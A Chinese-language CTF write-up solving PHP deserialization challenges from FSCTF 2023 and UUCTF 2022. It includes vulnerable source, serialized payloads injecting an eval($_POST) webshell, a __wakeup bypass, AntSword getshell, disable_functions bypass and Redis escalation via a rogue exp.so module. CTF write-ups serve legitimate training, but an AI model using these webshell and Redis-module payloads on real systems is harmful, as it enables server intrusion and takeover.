1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class A{ public $code = ""; function __call($method,$args){ eval($this->code); } function __wakeup(){ $this->code = ""; } } class B{ function __destruct(){ echo $this->a->a(); } } if(isset($_REQUEST['poc'])){ preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret); if (isset($ret[1])) { foreach ($ret[1] as $i) { if(intval($i)!==1){ exit("you want to bypass wakeup ? no !"); } } unserialize($_REQUEST['poc']); } }else{ highlight_file(__FILE__); }
第一步就是对于反序列化的绕过,实现最基本的phpinfo() 第二步就是连接蚁剑,getshell,但是发现权限不够 第三步就是提权拿到flag 首先,我们在这里补充一个蚁剑会遇到的问题,就是插件的下载很慢 放一下大佬的文章参考,搜蚁剑插件下载关键词基本就出来了
1 https://blog.csdn.net/weixin_52116519/article/details/123962077?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522a22019e9466dd1aaa8173abc6e0dc11a%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=a22019e9466dd1aaa8173abc6e0dc11a&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-123962077-null-null.142^v102^pc_search_result_base4&utm_term=%E8%9A%81%E5%89%91%E6%8F%92%E4%BB%B6%E4%B8%8B%E8%BD%BD&spm=1018.2226.3001.4187
方法一:首先肯定是绕过disable_functions插件(我安装插件的时候遇到了很多问题,又重新安装了这些,非常费工夫,主要是梯子端口这个方面)(因为一般是7890这个端口,但是我之前为了搭建一个静态博客改为了7891了) 安好了这个插件之后,我们可以使用这个插件,然后选择模式php_7UserFilter
,这个就直接getshell了,我们tac /flagaasdbjanssctf 这个就直接拿到flag了 方法二:下载并加载蚁剑Redis插件并连接Redis服务,向/var/www/html上传恶意.so文件
1 2 在开发人员使用 vim 编辑器 编辑文本时,系统会自动生成一个备份文件,当编辑完成后,保存时,原文件会更新,备份文件会被自动删除。 但是,当编辑操作意外终止时,这个备份文件就会保留,如果多次编辑文件都意外退出,备份文件并不会覆盖,而是以 swp、swo、swn 等其他格式,依次备份。
我们打开这个文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Redis的主从复制 Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机(master),其他实例都作为备份机(slave),其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。 Redis模块 在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。编写恶意so文件的代码: https://github.com/Dliv3/redis-rogue-server 利用原理 在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。很多主从复制导致任意命令执行都是通过Redis的未授权访问漏洞导致了横向移动攻击方式的发生。 ———————————————— 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 原文链接:https://blog.csdn.net/qq_46266259/article/details/128891937
1 2 3 4 5 6 7 8 9 10 11 12 13 14 经过整理,和分析,发现这是redis的连接,后面是密码,所以我们要上传一下连接redis的文件 这里要下载exp.so文件,并进行利用,简单解释一下exp.so文件 Redis 中的 exp.so 文件通常被用作 Redis 提权的一种方式。这个文件是一个 Redis 模块,它可以在 Redis 服务器中执行任意代码。 Redis 模块是一种可插拔的扩展,它允许用户在 Redis 服务器中添加新的功能。exp.so 文件是一个 Redis 模块,它提供了一些命令和功能,可以让攻击者在 Redis 服务器中执行任意代码,从而获得服务器的控制权。 在 Redis 提权攻击中,攻击者通常会利用 Redis 的漏洞或者弱密码,获取 Redis 服务器的访问权限。一旦攻击者获得了访问权限,他们就可以上传 exp.so 文件到 Redis 服务器中,并使用 Redis 的 module load 命令加载这个文件。这个文件会在 Redis 服务器中执行任意代码,从而让攻击者获得服务器的控制权。 ———————————————— 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 原文链接:https://blog.csdn.net/Leaf_initial/article/details/130229424
exp.so文件地址下载:https://github.com/Dliv3/redis-rogue-server 上传exp.so文件,上传到和备份文件一个目录下的 首先先右键,选择插件,进入 前面的备份文件出现了define("REDIS_PASS","you_cannot_guess_it"
后面的就是密码了 然后你发现它有很多什么0,1,2,选择一个进入终端 输入
1 MODULE LOAD /var/www/html/exp.so
最后就可以命令执行了
1 2 system.exec "ls /" system.exec "cat /flagaasdbjanssctf"
并且我是了,不在这个虚拟终端去另外一个的话,是不能执行我们的命令的 对了,还没有说怎么写入木马,一个是那个正则的意思就是不能AB这个大写,改为小写就可以了,还有一个就是wakeup的简单绕过,最后写入木马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class A { public $code = "phpinfo();"; } class B{ public $a; public $b; } $a = new A(); $b = new B(); $b->a = $a; echo(serialize($b)); //O:1:"B":2:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1:"b";N;} //修改后 O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1:"b";N;}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class A { public $code = 'eval($_POST["cmd"]);'; } class B{ public $a; public $b; } $a = new A(); $b = new B(); $b->a = $a; echo(serialize($b)); //O:1:"B":2:{s:1:"a";O:1:"A":1:{s:4:"code";s:20:"eval($_POST["cmd"]);";}s:1:"b";N;} //修改后 O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:20:"eval($_POST["cmd"]);";}s:1:"b";N;}
[FSCTF 2023]ez_php1 1分 反序列化PHPRCE 题目描述
do you know point?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file(__FILE__); error_reporting(0); include "globals.php"; $a = $_GET['b']; $b = $_GET['a']; if($a!=$b&&md5($a)==md5($b)) { echo "!!!"; $c = $_POST['FL_AG']; if(isset($c)) { if (preg_match('/^.*(flag).*$/', $ja)) { echo 'You are bad guy!!!'; } else { echo "Congratulation!!"; echo $hint1; } } else { echo "Please input my love FL_AG"; } } else{ die("game over!"); } ?>
我们这里输入
1 2 get:?b=QLTHNDT&a=QNKCDZO post:FL_AG=fl
没有看懂那个正则什么意思,但是它还是给了地址
我们进入下一关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file(__FILE__); error_reporting(0); include "globals.php"; $FAKE_KEY = "Do you love CTF?"; $KEY = "YES I love"; $str = $_GET['str']; echo $flag; if (unserialize($str) === "$KEY") { echo "$hint2"; } ?> flag{This_is_fake_flag}
第二关的paylaod很简单
1 2 3 4 <?php $str='YES I love'; echo serialize($str); 结果:s:10:"YES I love";
进入下一关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file(__FILE__); error_reporting(0); class Clazz { public $a; public $b; public function __wakeup() { $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php"); } public function __destruct() { echo $this->b; } } @unserialize($_POST['data']); ?>
最后一关paylaod,主要就是地址要赋值上去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class Clazz { public $a; public $b; // public function __wakeup() // { // $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php"); // } // public function __destruct() // { // echo $this->b; // } } //@unserialize($_POST['data']); $c = new Clazz(); $c->b=&$c->a; echo serialize($c); ?>
[UUCTF 2022 新生赛]ez_unser 1分 反序列化变量覆盖PHP 基本也是赋值地址的